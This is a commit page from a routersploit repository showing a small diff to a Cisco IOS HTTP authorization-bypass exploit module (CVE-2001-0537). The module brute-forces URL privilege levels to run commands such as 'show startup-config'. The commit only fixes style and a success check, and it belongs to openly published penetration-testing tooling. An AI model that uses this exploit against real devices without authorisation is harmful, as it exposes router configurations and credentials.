Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
66b8c455
Commit
66b8c455
authored
8 years ago
by
Renos Stoikos
Committed by
GitHub
8 years ago
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Corrected logic errors
Corrected logic errors and PEP 8
parent
a28aa3b3
Show whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
6 additions
and
6 deletions
+6
-6
cisco_ios_http_authorization_bypass.py
...les/exploits/cisco/cisco_ios_http_authorization_bypass.py
+6
-6
No files found.
routersploit/modules/exploits/cisco/cisco_ios_http_authorization_bypass.py
View file @
66b8c455
...
@@ -24,7 +24,7 @@ class Exploit(exploits.Exploit):
...
@@ -24,7 +24,7 @@ class Exploit(exploits.Exploit):
'to bypass authentication and execute arbitrary commands, '
'to bypass authentication and execute arbitrary commands, '
'when local authorization is being used, by specifying a high access level in the URL.'
,
'when local authorization is being used, by specifying a high access level in the URL.'
,
'authors'
:
[
'authors'
:
[
'Author'
,
'renos stoikos <rstoikos[at]gmail.com>'
#routesploit module
'Author'
,
'renos stoikos <rstoikos[at]gmail.com>'
#
routesploit module
],
],
'references'
:
[
'references'
:
[
'http://www.cvedetails.com/cve/cve-2001-0537'
,
'http://www.cvedetails.com/cve/cve-2001-0537'
,
...
@@ -34,8 +34,8 @@ class Exploit(exploits.Exploit):
...
@@ -34,8 +34,8 @@ class Exploit(exploits.Exploit):
],
],
}
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
#target address
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
#
target address
port
=
exploits
.
Option
(
80
,
'Target port'
)
#default port
port
=
exploits
.
Option
(
80
,
'Target port'
)
#
default port
show_command
=
exploits
.
Option
(
'show startup-config'
,
'Command to be executed e.g show startup-config'
)
show_command
=
exploits
.
Option
(
'show startup-config'
,
'Command to be executed e.g show startup-config'
)
access_level
=
None
access_level
=
None
...
@@ -44,7 +44,7 @@ class Exploit(exploits.Exploit):
...
@@ -44,7 +44,7 @@ class Exploit(exploits.Exploit):
for
num
in
range
(
16
,
100
):
for
num
in
range
(
16
,
100
):
url
=
"{}:{}/level/{}/exec/-/{}"
.
format
(
self
.
target
,
self
.
port
,
num
,
self
.
show_command
)
url
=
"{}:{}/level/{}/exec/-/{}"
.
format
(
self
.
target
,
self
.
port
,
num
,
self
.
show_command
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
if
response
.
status_code
==
200
:
if
response
.
status_code
==
200
and
"Command was: {}"
.
format
(
self
.
show_command
)
in
response
.
text
:
self
.
access_level
=
num
self
.
access_level
=
num
return
True
# target is vulnerable
return
True
# target is vulnerable
return
False
# target is not vulnerable
return
False
# target is not vulnerable
...
@@ -57,8 +57,8 @@ class Exploit(exploits.Exploit):
...
@@ -57,8 +57,8 @@ class Exploit(exploits.Exploit):
if
response
is
None
:
if
response
is
None
:
print_error
(
"Could not execute command"
)
# target is not vulnerable
print_error
(
"Could not execute command"
)
# target is not vulnerable
return
return
el
if
response
.
status_code
==
200
and
"Command was: {}"
.
format
(
self
.
show_command
)
in
response
.
text
:
el
se
:
print_success
(
"Exploit success! - executing command"
)
print_success
(
"Exploit success! - executing command"
)
print
re
.
sub
(
'<[^<]+?>'
,
''
,
response
.
text
)
print
_info
(
re
.
sub
(
'<[^<]+?>'
,
''
,
response
.
text
)
)
else
:
else
:
print_error
(
"Exploit failed - target seems to be not vulnerable"
)
print_error
(
"Exploit failed - target seems to be not vulnerable"
)
This diff is collapsed.
Click to expand it.
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment